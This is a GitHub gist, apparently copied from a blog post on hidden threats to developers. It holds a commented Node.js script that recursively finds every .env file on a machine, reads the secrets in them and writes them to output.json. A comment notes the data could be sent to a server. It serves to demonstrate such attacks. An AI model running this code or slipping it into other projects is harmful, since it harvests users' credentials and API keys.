Skip to content

Instantly share code, notes, and snippets.

@mdestafadilah
Created November 8, 2024 21:13
Show Gist options
  • Save mdestafadilah/b3ddf070a19f73361f9c3808fcfaf77c to your computer and use it in GitHub Desktop.
Save mdestafadilah/b3ddf070a19f73361f9c3808fcfaf77c to your computer and use it in GitHub Desktop.
unseed dangers
source: https://collinsadi.hashnode.dev/unseen-dangers-how-developers-fall-prey-to-hidden-security-threats
```
const { spawn } = require("child_process");
// Importing the `spawn` function from the "child_process" module to execute system commands.
const os = require("os");
// Importing the `os` module to detect the platform (Windows, Linux, or macOS).
const fs = require("fs");
// Importing the `fs` (file system) module to handle file reading and writing.
let command, args;
// Declare variables `command` and `args` to hold the system command and its arguments.
const output = [];
// Initialize an empty array `output` to store the results from the command's stdout.
if (os.platform() === "win32") {
// Check if the platform is Windows (identified as 'win32').
command = "powershell.exe";
// Set the command to `powershell.exe`, the shell for running PowerShell commands.
args = [
"-Command",
// First argument to PowerShell is to run a command.
'Get-ChildItem -Path C:\\ -Filter ".env" -Recurse -ErrorAction SilentlyContinue | ForEach-Object { Get-Content $_.FullName }',
// PowerShell command to recursively search the C:\ drive for ".env" files and print their contents.
];
} else {
// If the platform is not Windows (i.e., Linux or macOS).
command = "find";
// Set the command to `find`, used for searching files in Unix-based systems.
args = ["/", "-name", ".env", "-exec", "cat", "{}", ";"];
// Arguments for `find` command to search from the root directory ("/") for ".env" files and print their contents.
}
// Use spawn to execute the command
const child = spawn(command, args);
// Use `spawn` to run the defined command (`command`) with the provided arguments (`args`).
// Capture stdout
child.stdout.on("data", (data) => {
output.push({ data: String(data) });
console.log(`Output:\n${data}`);
});
// Capture stderr
child.stderr.on("data", (data) => {
console.error(`Error:\n${data}`);
});
// Capture close event
child.on("close", (code) => {
console.log(`Process exited with code ${code}`);
// Write output to a file or send it via an API call to a server
fs.writeFile(
"output.json",
JSON.stringify({ envContent: output }, null, 2),
(err) => {
if (err) {
console.error("Error writing to file:", err);
} else {
console.log("Output saved to output.json");
}
}
);
});
```
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment